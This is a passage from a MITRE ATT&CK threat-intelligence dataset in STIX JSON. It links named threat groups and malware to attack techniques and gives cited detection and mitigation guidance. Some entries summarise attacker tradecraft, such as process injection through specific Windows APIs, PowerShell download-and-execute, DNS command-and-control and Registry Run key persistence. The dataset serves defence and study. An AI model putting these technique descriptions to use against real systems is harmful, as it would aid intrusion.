2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af9e92df-d4d0-437a-9114-823b6a2a14a6","type":"relationship","created":"2020-05-21T14:55:00.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.198Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081)'s backdoor has communicated to the C2 over the DNS protocol.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--afa1618c-6a9b-49a4-8105-5cae16b3415f","created":"2023-08-03T18:25:54.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.663Z","description":"(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--e33267fe-099f-4af2-8730-63d49f8813b2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco DNSMessenger March 2017","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html"}],"modified":"2020-03-17T02:11:28.380Z","description":"[POWERSOURCE](https://attack.mitre.org/software/S0145) achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.(Citation: Cisco DNSMessenger March 2017)","relationship_type":"uses","source_ref":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--afa67579-fbc9-4463-bda8-504bdb6e9a7b","created":"2024-03-04T21:18:37.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google Drive Log Events","description":"Google. (n.d.). Drive log events. Retrieved March 4, 2024.","url":"https://support.google.com/a/answer/4579696"},{"source_name":"Microsoft 365 Sharing Auditing","description":"Microsoft. (2023, October 1). Use sharing auditing in the audit log. Retrieved March 4, 2024.","url":"https://learn.microsoft.com/en-us/purview/audit-log-sharing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:53:03.975Z","description":"Monitor logs for SaaS applications to detect instances of data being shared inappropriately. For example, in Microsoft 365, file sharing events will appear in Audit logs under the event names `SharingInvitationCreated`, `AnonymousLinkCreated`, `SecureLinkCreated`, or `AddedToSecureLink`, with `TargetUserOrGroupType` being `Guest.`(Citation: Microsoft 365 Sharing Auditing) In Google Workspace, externally shared files will have a `Visibility` property of `Shared externally` in the Drive audit logs.(Citation: Google Drive Log Events)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afa802aa-9b4d-47a8-8bd1-04f026b7cec8","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afa84fd1-e910-4bc7-8270-1e9f9b02b53f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.583Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) gathers information about opened windows.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afaa6cd5-ff04-479a-a3e6-c25a4154be4b","type":"relationship","created":"2020-03-02T19:21:35.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T19:21:35.323Z","relationship_type":"revoked-by","source_ref":"attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--afaafa9d-6c93-4116-94c2-6ff11a304ed8","created":"2023-04-06T18:55:47.897Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-06T18:55:47.897Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) registered Twitter accounts to host C2 nodes.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--afafd676-1b44-44ae-ad9a-930c0df348bc","created":"2020-03-19T16:21:36.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."},{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.223Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used PowerShell to download and execute payloads.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afb0685e-2c5c-4eec-9205-b1afdab4eda5","type":"relationship","created":"2020-01-24T16:48:51.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T16:48:51.340Z","relationship_type":"revoked-by","source_ref":"attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87","target_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--afb593c0-5388-441c-a868-c8bc520ffcaa","created":"2019-01-31T00:36:40.984Z","x_mitre_version":"1.0","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Talos Konni May 2017","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has used cmd.exe to execute arbitrary commands on the infected host across different stages of the infection chain.(Citation: Talos Konni May 2017)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021) ","modified":"2022-04-18T19:50:17.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afbd6b8a-8636-401c-b04d-e0aa584fa6fa","type":"relationship","created":"2021-01-27T20:35:33.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-21T12:32:47.118Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used VBScript to drop and execute malware loaders.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--afc6e4e4-2bcc-47b7-bc0d-2866d4e1dcda","created":"2022-10-13T17:21:58.506Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:21:58.506Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has sent collected data from a compromised host to its C2 servers.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afc9aebc-e3db-4d83-b36f-0960a6ad6b66","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor executed commands and arguments that may invoke a WinRM script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Detecting Lateral Movement","description":"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afcc4ac4-b088-4795-b159-c6245223178b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.264Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afcc8362-e43f-4be9-8fe4-c6c2ce4590b1","type":"relationship","created":"2020-01-24T14:22:27.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:22:27.738Z","relationship_type":"revoked-by","source_ref":"attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f5844","type":"relationship","created":"2021-04-27T01:56:35.803Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-04-27T01:56:35.803Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has a function to call the OpenClipboard wrapper.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afced7ba-9fc7-42a5-8e7d-caed78c2d54d","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for API calls that may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afd03a56-6d2b-4b00-895a-012f5d348898","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-30T02:19:19.023Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) uses a variation of the XOR cipher to encrypt files before exfiltration.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afd15f23-1829-4d86-9d8b-cae915fe8596","type":"relationship","created":"2020-02-21T21:05:33.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","source_name":"SpectorOps Code Signing Dec 2017"}],"modified":"2021-08-25T19:39:07.221Z","description":"Windows Group Policy can be used to manage root certificates and the Flags value of HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--afd1bc39-3449-459f-8aaf-0689f57524a0","created":"2022-03-30T14:26:51.840Z","x_mitre_version":"0.1","external_references":[{"source_name":"EyeofRa Detecting Hooking June 2017","url":"https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/","description":"Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017."},{"source_name":"Zairon Hooking Dec 2006","url":"https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/","description":"Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017."},{"source_name":"Microsoft Hook Overview","url":"https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx","description":"Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017."},{"source_name":"PreKageo Winhook Jul 2011","url":"https://github.com/prekageo/winhook","description":"Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017."},{"source_name":"Jay GetHooks Sept 2011","url":"https://github.com/jay/gethooks","description":"Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017."},{"source_name":"Volatility Detecting Hooks Sept 2012","url":"https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html","description":"Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)","modified":"2022-04-20T13:05:08.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afd2f545-557a-4113-bc0a-3191e71bcbea","type":"relationship","created":"2021-06-07T13:46:13.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-06-24T13:35:43.501Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) has the ability to decrypt its payload prior to execution.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--afd3118f-bde5-4c02-8e82-045edec0dfdc","created":"2023-03-17T14:42:58.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:08:11.123Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used WMIC to executed a remote XSL script.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--afd398cc-b093-429c-88f5-e7f661567fd1","created":"2023-03-26T22:07:46.270Z","revoked":false,"external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:07:46.270Z","description":"(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afdf9b0e-5539-464a-a403-202eaedb13cd","type":"relationship","created":"2020-05-14T14:38:22.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-15T19:13:48.360Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has injected itself into remote processes to encrypt files using a combination of VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--afe14ecc-81be-4724-aea6-cc1266425d1a","created":"2022-01-26T22:07:08.613Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 